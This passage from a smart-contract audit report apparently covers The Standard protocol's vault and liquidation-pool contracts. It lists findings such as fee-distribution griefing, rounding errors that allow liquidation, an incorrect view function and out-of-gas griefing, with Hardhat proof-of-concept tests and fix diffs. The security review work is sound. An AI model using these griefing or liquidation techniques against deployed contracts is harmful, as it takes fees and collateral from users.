LiquidationPoolManager.sol#L35-L40
function distributeFees() public {
IERC20 eurosToken = IERC20(EUROs);
@---> uint256 _feesForPool = eurosToken.balanceOf(address(this)) * poolFeePercentage / HUNDRED_PC;
@---> if (_feesForPool > 0) {
eurosToken.approve(pool, _feesForPool);
LiquidationPool(pool).distributeFees(_feesForPool);
}
@---> eurosToken.transfer(protocol, eurosToken.balanceOf(address(this)));
}
This causes the eurosToken.balanceOf(address(this)) of 1 wei to be sent to the protocol, effectively resetting the counting.
Note that this attack can cause further harm if in future poolFeePercentage is set to something like 30% (30000), where the griefer can call the function as long as the eurosToken.balanceOf(address(this)) is less than 4.
Note that this issue may arise also without a griefer, under the normal flow of operations. Users calling LiquidationPool::increasePosition() and LiquidationPool::decreasePosition() functions also internally call ILiquidationPoolManager(manager).distributeFees() which could give rise to an identical issue.
function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {
require(_tstVal > 0 || _eurosVal > 0);
consolidatePendingStakes();
@----> ILiquidationPoolManager(manager).distributeFees();
if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
pendingStakes.push(PendingStake(msg.sender, block.timestamp, _tstVal, _eurosVal));
addUniqueHolder(msg.sender);
}
function decreasePosition(uint256 _tstVal, uint256 _eurosVal) external {
consolidatePendingStakes();
@----> ILiquidationPoolManager(manager).distributeFees();
require(_tstVal <= positions[msg.sender].TST && _eurosVal <= positions[msg.sender].EUROs, "invalid-decr-amount");
if (_tstVal > 0) {
IERC20(TST).safeTransfer(msg.sender, _tstVal);
positions[msg.sender].TST -= _tstVal;
}
if (_eurosVal > 0) {
IERC20(EUROs).safeTransfer(msg.sender, _eurosVal);
positions[msg.sender].EUROs -= _eurosVal;
}
if (empty(positions[msg.sender])) deletePosition(positions[msg.sender]);
}
Under ideal conditions, a 'fair' user will let the eurosToken.balanceOf(address(this)) accumulate to a higher value and then eventually call the LiquidationPoolManager::distributeFees() function, benefitting the holders and sweeping any leftover amount into the protocol.
This is thwarted by any griefer who sees an opportunity to deny the holders of their rightful fees.
Apply the following patch inside file test/liquidationPool.js and run via npx hardhat test --grep "pays no fee due to rounding-down" to see the test pass:
diff --git a/test/liquidationPool.js b/test/liquidationPool2.js
index 8dd8580..c9e68d6 100644
--- a/test/liquidationPool.js
+++ b/test/liquidationPool2.js
@@ -146,6 +146,37 @@ describe('LiquidationPool', async () => {
({_position} = await LiquidationPool.position(user3.address));
expect(_position.EUROs).to.equal(ethers.utils.parseEther('25'));
});
+
+ it('pays no fee due to rounding-down', async () => {
+ expect(await EUROs.balanceOf(Protocol.address)).to.equal(0);
+
+ let tstStakeValue = ethers.utils.parseEther('100');
+ await TST.mint(user1.address, tstStakeValue.mul(2));
+ await TST.connect(user1).approve(LiquidationPool.address, tstStakeValue.mul(2));
+
+ await LiquidationPool.connect(user1).increasePosition(tstStakeValue, 0);
+
+ let fees = 1;
+ await EUROs.mint(LiquidationPoolManager.address, fees);
+
+ await LiquidationPoolManager.distributeFees();
+
+ // @audit-info : no fee received by user1, all sweeped up by protocol
+ let { _position } = await LiquidationPool.position(user1.address);
+ expect(_position.EUROs).to.equal(0);
+ expect(await EUROs.balanceOf(Protocol.address)).to.equal(fees);
+
+ // second round
+ await LiquidationPool.connect(user1).increasePosition(tstStakeValue, 0);
+ await EUROs.mint(LiquidationPoolManager.address, fees);
+ await LiquidationPoolManager.distributeFees();
+
+ // @audit-info : again, no fee received by user1, as the fee did not get a chance to accumulate
+ // @audit : had the fee accumulated correctly, user1 would have received 50% of 2 = 1 wei
+ ({ _position } = await LiquidationPool.position(user1.address));
+ expect(_position.EUROs).to.equal(0);
+ expect(await EUROs.balanceOf(Protocol.address)).to.equal(fees * 2);
+ });
});
describe('decrease position', async () => {
Manual inspection, Hardhat.
Do not immediately transfer the dust amount if _feesForPool is 0. Leave it there so that it can accumulate over time. Instead, add a separate access-controlled function sweepDust() which enables sweeping of any leftover dust EUROs to the protocol:
LiquidationPoolManager.sol#L33
function distributeFees() public {
IERC20 eurosToken = IERC20(EUROs);
uint256 _feesForPool = eurosToken.balanceOf(address(this)) * poolFeePercentage / HUNDRED_PC;
if (_feesForPool > 0) {
eurosToken.approve(pool, _feesForPool);
LiquidationPool(pool).distributeFees(_feesForPool);
+ eurosToken.transfer(protocol, eurosToken.balanceOf(address(this)));
}
- eurosToken.transfer(protocol, eurosToken.balanceOf(address(this)));
}
+ // @audit : introduce a separate function with access control enabling recovery of any dust amount
+ function sweepDust() external onlyOwner {
+ IERC20 eurosToken = IERC20(EUROs);
+ distributeFees();
+ eurosToken.transfer(protocol, eurosToken.balanceOf(address(this)));
+ }
Submitted by t0x1c, Daniel526, ravikiranweb3, ACai, SovaSlava, Bauer, datamcrypto, donkicha, favelanky, SAQ. Selected submission by: Daniel526.
The fee distribution mechanism in the provided Solidity contract may result in perceived unfairness, especially for users with negligible TST holdings. The distribution is proportional to users' TST holdings relative to the total, potentially leading to extremely small or negligible EUROs fee allocations for users with minimal contributions.
In the distributeFees function, the EUROs fees are distributed among users based on the proportion of their TST holdings to the total TST holdings. Here is the relevant code snippet:
function distributeFees(uint256 _amount) external onlyManager {
uint256 tstTotal = getTstTotal();
if (tstTotal > 0) {
IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _amount);
for (uint256 i = 0; i < holders.length; i++) {
address _holder = holders[i];
positions[_holder].EUROs += _amount * positions[_holder].TST / tstTotal;
}
for (uint256 i = 0; i < pendingStakes.length; i++) {
pendingStakes[i].EUROs += _amount * pendingStakes[i].TST / tstTotal;
}
}
}
The EUROs fees are distributed based on the proportion of a user's TST holdings to the total TST holdings. Users with negligible TST holdings may receive extremely small or no EUROs fees.
Users with negligible TST holdings might perceive the fee distribution as unfair, potentially leading to dissatisfaction and trust issues with the protocol.
Manual
Consider implementing a minimum threshold or alternative distribution model that ensures users with very small TST holdings are either ineligible for fee distribution or receive a more equitable share.
Submitted by eeshenggoh, t0x1c, dyoff, asuiTouthang, 0xCiphky, Aamirusmani1552, n0kto. Selected submission by: t0x1c.
https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L88
The position() function returns incorrect value for a user's EUROs holdings when balance of LiquidationPoolManager.sol contract is greater than zero. It forgets to apply the _poolFeePercentage.
The function is designed to let the caller know of their current EUROs position, including the yet-to-come fee still sitting in the LiquidationPoolManager contract. However, it incorrectly considers the full balance of LiquidationPoolManager instead of considering only 50% of it (the current _poolFeePercentage is 50%). This gives a wrong view to the caller.
function position(address _holder) external view returns(Position memory _position, Reward[] memory _rewards) {
_position = positions[_holder];
(uint256 _pendingTST, uint256 _pendingEUROs) = holderPendingStakes(_holder);
_position.EUROs += _pendingEUROs;
_position.TST += _pendingTST;
@----> if (_position.TST > 0) _position.EUROs += IERC20(EUROs).balanceOf(manager) * _position.TST / getTstTotal();
_rewards = findRewards(_holder);
}
Apply following patch to update test/liquidationPoolManager.js and run via npx hardhat test --grep 'incorrect position function'. The test will fail since it returns 201 instead of the correct value of 101:
diff --git a/test/liquidationPoolManager.js b/test/liquidationPoolManager_position.js
index 7e0f5c2..03ef4f1 100644
--- a/test/liquidationPoolManager.js
+++ b/test/liquidationPoolManager_position.js
@@ -426,5 +426,26 @@ describe('LiquidationPoolManager', async () => {
expect(rewardAmountForAsset(_rewards, 'WBTC')).to.equal(wbtcCollateral);
expect(rewardAmountForAsset(_rewards, 'USDC')).to.equal(usdcCollateral);
});
+
+ it('incorrect position function', async () => {
+ const tstStake1 = 1;
+ const eurosStake1 = 1;
+ await TST.mint(holder1.address, tstStake1);
+ await EUROs.mint(holder1.address, eurosStake1);
+ await TST.connect(holder1).approve(LiquidationPool.address, tstStake1);
+ await EUROs.connect(holder1).approve(LiquidationPool.address, eurosStake1);
+ let { _rewards, _position } = await LiquidationPool.position(holder1.address);
+ expect(_position.EUROs).to.equal(0);
+ await LiquidationPool.connect(holder1).increasePosition(tstStake1, eurosStake1);
+ ({ _rewards, _position } = await LiquidationPool.position(holder1.address));
+ expect(_position.EUROs).to.equal(eurosStake1);
+
+ // "mint some fee"
+ await EUROs.mint(LiquidationPoolManager.address, 200);
+
+ ({ _rewards, _position } = await LiquidationPool.position(holder1.address));
+ // @audit : expected = existing_EUROs + 50% of fee = 1 + 50% of 200 = 101
+ expect(_position.EUROs).to.equal(101, "Incorrect position calculation");
+ });
});
});
This is a view function which has so far been only used in the unit tests. However, its design seems to suggest it is supposed to help holders understand their expected holdings, including prospective fees coming their way. "Prospective" because this is still in the LiquidationPoolManager.sol contract and distributeFees() is yet to be called. As such, this misleads holders about their positions based on which they may be inclined to make further incorrect decisions about withdrawal, staking etc.
Hardhat
The LiquidationPool.sol contract needs to know the values of _poolFeePercentage and HUNDRED_PC to calculate this correctly. These can either be initialized in the constructor at deployment time, or need to be passed to the position() function:
- function position(address _holder) external view returns(Position memory _position, Reward[] memory _rewards) {
+ function position(address _holder, uint256 _poolFeePercentage, uint256 _hundred_pc) external view returns(Position memory _position, Reward[] memory _rewards) {
_position = positions[_holder];
(uint256 _pendingTST, uint256 _pendingEUROs) = holderPendingStakes(_holder);
_position.EUROs += _pendingEUROs;
_position.TST += _pendingTST;
- if (_position.TST > 0) _position.EUROs += IERC20(EUROs).balanceOf(manager) * _position.TST / getTstTotal();
+ if (_position.TST > 0) _position.EUROs += IERC20(EUROs).balanceOf(manager) * _position.TST * _poolFeePercentage / (_hundred_pc * getTstTotal());
_rewards = findRewards(_holder);
}
Submitted by t0x1c.
https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L206-L212
calculateMinimumAmountOut() calculations are prone to rounding-down error (almost every time). This means a user calling swap will be undercollateralized if he receives this function's returned value (later being set as the amountOutMinimum inside ISwapRouter.ExactInputSingleParams), as the swap's amountOut. He can be immediately liquidated and the user unfairly loses his assets.
The code should have checked at the end of the function whether the returned value will cause the vault to be undercollateralized.
SmartVaultV3.sol::calculateMinimumAmountOut()
function calculateMinimumAmountOut(bytes32 _inTokenSymbol, bytes32 _outTokenSymbol, uint256 _amount) private view returns (uint256) {
ISmartVaultManagerV3 _manager = ISmartVaultManagerV3(manager);
uint256 requiredCollateralValue = minted * _manager.collateralRate() / _manager.HUNDRED_PC(); <---------------- @audit : rounding error here.
uint256 collateralValueMinusSwapValue = euroCollateral() - calculator.tokenToEur(getToken(_inTokenSymbol), _amount);
return collateralValueMinusSwapValue >= requiredCollateralValue ?
0 : calculator.eurToToken(getToken(_outTokenSymbol), requiredCollateralValue - collateralValueMinusSwapValue); <---------------- @audit : missing a check here.
}
function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external onlyOwner {
uint256 swapFee = _amount * ISmartVaultManagerV3(manager).swapFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
address inToken = getSwapAddressFor(_inToken);
@----> uint256 minimumAmountOut = calculateMinimumAmountOut(_inToken, _outToken, _amount);
ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
tokenIn: inToken,
tokenOut: getSwapAddressFor(_outToken),
fee: 3000,
recipient: address(this),
deadline: block.timestamp,
amountIn: _amount - swapFee,
@--------> amountOutMinimum: minimumAmountOut,
sqrtPriceLimitX96: 0
});
inToken == ISmartVaultManagerV3(manager).weth() ?
executeNativeSwapAndFee(params, swapFee) :
executeERC20SwapAndFee(params, swapFee);
}
We will pick up the example from the pre-existing unit test invokes swaprouter with value for eth swap, paying fees to protocol, so that it's simpler to demonstrate. Apply the following patch to add steps to the test. Minor changes have also been made to SmartVault3.sol to enable logging inside the test:
diff --git a/contracts/SmartVaultV3.sol b/contracts/SmartVaultV3.sol
index fdc492d..7296c73 100644
--- a/contracts/SmartVaultV3.sol
+++ b/contracts/SmartVaultV3.sol
@@ -24,7 +24,7 @@ contract SmartVaultV3 is ISmartVault {
IPriceCalculator public immutable calculator;
address public owner;
- uint256 private minted;
+ uint256 public minted;
bool private liquidated;
event CollateralRemoved(bytes32 symbol, uint256 amount, address to);
@@ -72,7 +72,7 @@ contract SmartVaultV3 is ISmartVault {
}
}
- function maxMintable() private view returns (uint256) {
+ function maxMintable() public view returns (uint256) {
return euroCollateral() * ISmartVaultManagerV3(manager).HUNDRED_PC() / ISmartVaultManagerV3(manager).collateralRate();
}
diff --git a/test/smartVault.js b/test/smartVault.js
index 464b603..f9e39e2 100644
--- a/test/smartVault.js
+++ b/test/smartVault.js
@@ -348,17 +348,20 @@ describe('SmartVault', async () => {
// user borrows 1200 EUROs
const borrowValue = ethers.utils.parseEther('1200');
await Vault.connect(user).mint(user.address, borrowValue);
+ console.log("Before Swap: is undercollateralized: %s, minted: %s, maxMintable: %s", await Vault.undercollateralised(), await Vault.minted(), await Vault.maxMintable());
+ expect(await Vault.undercollateralised()).to.eq(false);
+
const inToken = ethers.utils.formatBytes32String('ETH');
const outToken = ethers.utils.formatBytes32String('sUSD');
// user is swapping .5 ETH
const swapValue = ethers.utils.parseEther('0.5');
const swapFee = swapValue.mul(PROTOCOL_FEE_RATE).div(HUNDRED_PC);
// minimum collateral after swap must be €1200 (borrowed) + €6 (fee) * 1.2 (rate) = €1447.2
- // remaining collateral not swapped: .5 ETH * $1600 = $800 = $800 / 1.06 = €754.72
- // swap must receive at least €1320 - €754.72 = €692.48 = $734.032;
+ // remaining collateral not swapped: (1 - .5) ETH * $1600 = $800 = $800 / 1.06 = €754.72
+ // swap must receive at least €1447.2 - €754.72 = €692.48 = $734.032;
const ethCollateralValue = swapValue.mul(DEFAULT_ETH_USD_PRICE).div(DEFAULT_EUR_USD_PRICE);
const borrowFee = borrowValue.mul(PROTOCOL_FEE_RATE).div(HUNDRED_PC);
- const minCollateralInUsd = borrowValue.add(borrowFee).mul(DEFAULT_COLLATERAL_RATE).div(HUNDRED_PC) // 110% of borrowed (with fee)
+ const minCollateralInUsd = borrowValue.add(borrowFee).mul(DEFAULT_COLLATERAL_RATE).div(HUNDRED_PC) // 120% of borrowed (with fee)
.sub(ethCollateralValue) // some collateral will not be swapped
.mul(DEFAULT_EUR_USD_PRICE).div(100000000) // convert to USD
.div(BigNumber.from(10).pow(12)) // scale down because stablecoin is 6 dec
@@ -381,6 +384,20 @@ describe('SmartVault', async () => {
expect(sqrtPriceLimitX96).to.equal(0);
expect(txValue).to.equal(swapValue.sub(swapFee));
expect(await protocol.getBalance()).to.equal(protocolBalance.add(swapFee));
+
+ // @audit-info : credit the vault with `amountOutMinimum` worth of tokenOut to simulate completion of swap
+ await Stablecoin.mint(Vault.address, amountOutMinimum);
+ console.log("After Swap: is undercollateralized: %s, minted: %s, maxMintable: %s", await Vault.undercollateralised(), await Vault.minted(), await Vault.maxMintable());
+ expect(await Vault.undercollateralised()).to.eq(true);
+
+ // @audit : vault can now be liquidated
+ await expect(VaultManager.connect(protocol).liquidateVault(1)).not.to.be.reverted;
+ const { minted, maxMintable, totalCollateralValue, collateral, liquidated } = await Vault.status();
+ expect(minted).to.equal(0);
+ expect(maxMintable).to.equal(0);
+ expect(totalCollateralValue).to.equal(0);
+ collateral.forEach(asset => expect(asset.amount).to.equal(0));
+ expect(liquidated).to.equal(true);
});
it('amount out minimum is 0 if over collateral still', async () => {
In the above test, once the swap is done, to simulate credit of the tokenOut we have credited the Vault with a value exactly equal to amountOutMinimum. We then checked if vault's liquidation was possible. Run the above via npx hardhat test --grep 'invokes swaprouter with value for eth swap, paying fees to protocol' to see the output:
SmartVault
swaps
Before Swap: is undercollateralized: false, minted: 1206000000000000000000, maxMintable: 1257861635220125786163
After Swap: is undercollateralized: true, minted: 1206000000000000000000, maxMintable: 1205999999999999999999 <-------------- rounding-down leading to undercollateralization.
We were able to liquidate the vault successfully.
Hardhat
requiredCollateralValue. function calculateMinimumAmountOut(bytes32 _inTokenSymbol, bytes32 _outTokenSymbol, uint256 _amount) private view returns (uint256) {
ISmartVaultManagerV3 _manager = ISmartVaultManagerV3(manager);
uint256 requiredCollateralValue = minted * _manager.collateralRate() / _manager.HUNDRED_PC();
+ if (requiredCollateralValue * _manager.HUNDRED_PC() < minted * _manager.collateralRate()) requiredCollateralValue++;
uint256 collateralValueMinusSwapValue = euroCollateral() - calculator.tokenToEur(getToken(_inTokenSymbol), _amount);
- return collateralValueMinusSwapValue >= requiredCollateralValue ?
+ uint256 minOut = collateralValueMinusSwapValue >= requiredCollateralValue ?
0 : calculator.eurToToken(getToken(_outTokenSymbol), requiredCollateralValue - collateralValueMinusSwapValue);
+
+ // inverse-check
+ if (collateralValueMinusSwapValue < requiredCollateralValue) {
+ bool willGoUnder = minted > maxMintable() - calculator.tokenToEur(getToken(_inTokenSymbol), _amount) + calculator.tokenToEur(getToken(_outTokenSymbol), minOut);
+ if(willGoUnder) minOut++;
+ }
+
+ return minOut;
}
Submitted by ptsanev, 0xbtk. Selected submission by: 0xbtk.
https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultManagerV5.sol#L74
The mint function deploys a vault contract using create1. However, some of the chains (Polygon, Optimism, Arbitrum) to which the SmartVaultManagerV5 may be deployed are suspicious of the reorg attack.
A simple scenario to demonstrate the issue:
Here -> https://polygonscan.com/blocks_forked, you may be convinced that the Polygon has in practice subject to reorgs. Even more, the reorg may be 1.5 minutes long. So, it is quite enough to create the quest and transfer funds to that address, especially when someone uses a script, and not doing it by hand.
Optimistic rollups (Optimism/Arbitrum) are also suspect to reorgs since if someone finds a fraud the blocks will be reverted, even though the user receives a confirmation and already created a quest.
Vault's are created from the SmartVaultManagerV5 via CREATE1, a malicious ward can frontrun mint() to deploy at the same address. If the deployed chain reorg, a different vault will also be deployed at the same address.
Manual review
Deploy the vault contract via create2 with salt that includes msg.sender and tokenId.
version for SmartVaultV3 breaks off-chain integrationSubmitted by 0x6a70, alexbabits, spacelord47, 0xRizwan, shikhar229169, MaslarovK, flacko. Selected submission by: spacelord47.
The version field(constant) in SmartVaultV3 is set to "2", when it should be "3".
SmartVaultV3 contract is an upgrade for previous version - SmartVaultV2, which itself is an upgrade for SmartVault. All these contracts utilize the version field for versioning.
version later used in the ISmartVault.Status object, to describe current status of a SmartVault.
In the following code we can see the version field set for two previous versions of SmartVault (the code is taken from TheStandard main repo):
17: uint8 private constant version = 1;
20: uint8 private constant version = 2;
And here is (in scope) version of SmartVaultV3:
19: uint8 private constant version = 2;
As we can see, SmartVaultV3 incorrectly specifies its version.
The affected version field is used in two places:
SmartVaultManagerV5.vaults (which provides information about all current vaults managed by the VaultManager).NFTMetadataGenerator.generateNFTMetadata to generate NFT metadata for a particular SmartVault. This NFT data used in the smart vault dashboard UI (like here) and allows borrowers to manage/sell their vaults.Basically, incorrect SmartVault version will likely break mentioned protocol's integrations, because the version is expected to be used to differentiate between different versions of deployed contracts. And since the version of a vault can't be updated after creation, borrowers will experience issues with managing/selling their vaults.
Update version field in SmartVaultV3 to correctly match current version:
diff --git a/contracts/SmartVaultV3.sol b/contracts/SmartVaultV3.sol
--- a/contracts/SmartVaultV3.sol (revision c12272f2eec533019f2d255ab690f6892027f112)
+++ b/contracts/SmartVaultV3.sol (date 1703704412808)
@@ -16,7 +16,7 @@
string private constant INVALID_USER = "err-invalid-user";
string private constant UNDER_COLL = "err-under-coll";
- uint8 private constant version = 2;
+ uint8 private constant version = 3;
bytes32 private constant vaultType = bytes32("EUROs");
bytes32 private immutable NATIVE;
address public immutable manager;
Submitted by IceBear, Bauer, 0xAsen, 0xRizwan, tsvetanovv, matej, slvDev. Selected submission by: IceBear.
https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultManagerV5.sol#L94
doesn't follow the EIP standard
The tokenURI method does not check if the NFT has been minted and returns data for the contract that may be a fake NFT
By invoking the SmartVaultManagerV5.tokenURI method for a maliciously provided NFT id, the returned data may deceive potential users, as the method will return data for a non-existent NFT id. This can lead to a poor user experience or financial loss for users. Violation of the ERC721-Metadata part standard similar finding: https://github.com/code-423n4/2023-04-caviar-findings/issues/44
Throw an error if the NFT id is invalid.
Submitted by carrotsmuggler, Phantomsands, carlitox477, 0x996. Selected submission by: carrotsmuggler.
When a user mints a vault and the tries to send it, the _afterTokenTransfer of the ERC721 vault token is invoked. This is shown in the snippet below.
smartVaultIndex.transferTokenId(_from, _to, _tokenId);
if (address(_from) != address(0))
ISmartVault(smartVaultIndex.getVaultAddress(_tokenId)).setOwner(
_to
);
This calls the transferTokenId function, which actually loops over all the user's owned tokens. It eventually calls removeTokenId in SmartVaultIndex.sol as shown below.
uint256[] memory currentIds = tokenIds[_user];
uint256 idsLength = currentIds.length;
delete tokenIds[_user];
for (uint256 i = 0; i < idsLength; i++) {
if (currentIds[i] != _tokenId) tokenIds[_user].push(currentIds[i]);
}
While this function is out of scope, it is being called by the in-scope contract. The function above loops over all the vaults of the user. Thus if the user owns a lot of vaults, this can balloon the gas cost for transfers. Since there is no limit to the amount of vaults a user can own, this can also consume more gas than the eth gas limit and thus always revert.
Further, a malicious user can target a victim and mint and send vault tokens to the victim, inflating their list of vaults. This will inflate the gas costs of the victim, and might even lock them out of transferring the vault erc721 tokens if the gas costs exceed the block limit.
Since this allows an attacker to block transfers of another user, this is of critical severity.
The griefing can be done as follows.
Potential out of gas griefing attack.
Manual Review
Add a limit for the amount of vaults a particular user can own.
consolidatePendingStake() should be publicSubmitted by charlesCheerful.
https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L119
consolidatePendingStake() should be public 🔢Currently, as consolidatePendingStake() is private, your stake is active only if someone does one of these actions: stakes, unstakes or liquidates. If these actions dont happen at least once every day the pending stakes won't be updated and users will have to execute one of this actions just to activate their old stakes.
These exposes users to an unnecessary risk of having their pending stake not activated and thus not earning rewards on it.
If these actions are happening every day there is no problem. But if not users have to lose extra unnecessary money activating their old stakes or they will be missing rewards.
The frecency is at least once every day because the deadline parameter is calculated like so:
function consolidatePendingStakes() private {
uint256 deadline = block.timestamp - 1 days; // <---- 🟢 DEADLINE
for (int256 i = 0; uint256(i) < pendingStakes.length; i++) {
PendingStake memory _stake = pendingStakes[uint256(i)];
if (_stake.createdAt < deadline) { // <---- 🟢 Check for the deadline
// Activate pending stake logic
}
}
}
Make consolidatePendingStakes() public so anyone can call it and activate the stake without having to operate by increasing, decreasing stake or someone being liquidated on the system. This should not be a problem as the function does not change state in an uncontrolled way.
SmartVaultV3::swap functionSubmitted by Bube.
The SmartVaultV3::swap function calculates the swapFee based on the input _amount parameter, the swapFeeRate and HUNDRED_PC obtained from the ISmartVaultManagerV3(manager). If the _amount is a small, the swapFee can be 0 due to the rounding down by division.
In the deploy.js script the swapFeeRate is set to 500. The HUNDRED_PC variable is a constant and it is set to 1e5. Therefore, if the _amount parameter is a small (lower than 200), the value of swapFee will be 0:
function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external onlyOwner {
@> uint256 swapFee = _amount * ISmartVaultManagerV3(manager).swapFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
address inToken = getSwapAddressFor(_inToken);
uint256 minimumAmountOut = calculateMinimumAmountOut(_inToken, _outToken, _amount);
ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
tokenIn: inToken,
tokenOut: getSwapAddressFor(_outToken),
fee: 3000,
recipient: address(this),
deadline: block.timestamp,
amountIn: _amount - swapFee,
amountOutMinimum: minimumAmountOut,
sqrtPriceLimitX96: 0
});
inToken == ISmartVaultManagerV3(manager).weth() ?
executeNativeSwapAndFee(params, swapFee) :
executeERC20SwapAndFee(params, swapFee);
}
Let's consider the value of swapFee if the _amount is 20:
uint256 swapFee = 20 * 500 / 1e5
In that case the value of swapFee will be 0 due to the rounding down by division.
If the _amount parameter in SmartVaultV3::swap function is lower than 200, the calculated amount for swapFee variable will be 0. That allows the users to swap small amounts without fees. That can be issue for the protocol, because the protocol will not receive fees for small values of _amount.
Additionally, if the SmartVaultV3::swap function calls the SmartVaultV3::executeERC20SwapAndFee function with swapFee parameter equals to 0 and the protocol will use in the future weird ERC20 tokens which revert on zero value transfer (e.g. LEND), the entire transaction will fail, including the swap operation.
function executeERC20SwapAndFee(ISwapRouter.ExactInputSingleParams memory _params, uint256 _swapFee) private {
@> IERC20(_params.tokenIn).safeTransfer(ISmartVaultManagerV3(manager).protocol(), _swapFee);
IERC20(_params.tokenIn).safeApprove(ISmartVaultManagerV3(manager).swapRouter2(), _params.amountIn);
ISwapRouter(ISmartVaultManagerV3(manager).swapRouter2()).exactInputSingle(_params);
IWETH weth = IWETH(ISmartVaultManagerV3(manager).weth());
// convert potentially received weth to eth
uint256 wethBalance = weth.balanceOf(address(this));
if (wethBalance > 0) weth.withdraw(wethBalance);
Manual Review
Implement a minimum fee threshold to prevent the fee from being zero.
Add validation checks to ensure that the calculated swapFee is greater than zero before proceeding with the swap.
While the risk of financial loss due to a zero swapFee is low, it is important to address this issue to ensure that the protocol's fee mechanisms are enforced as intended.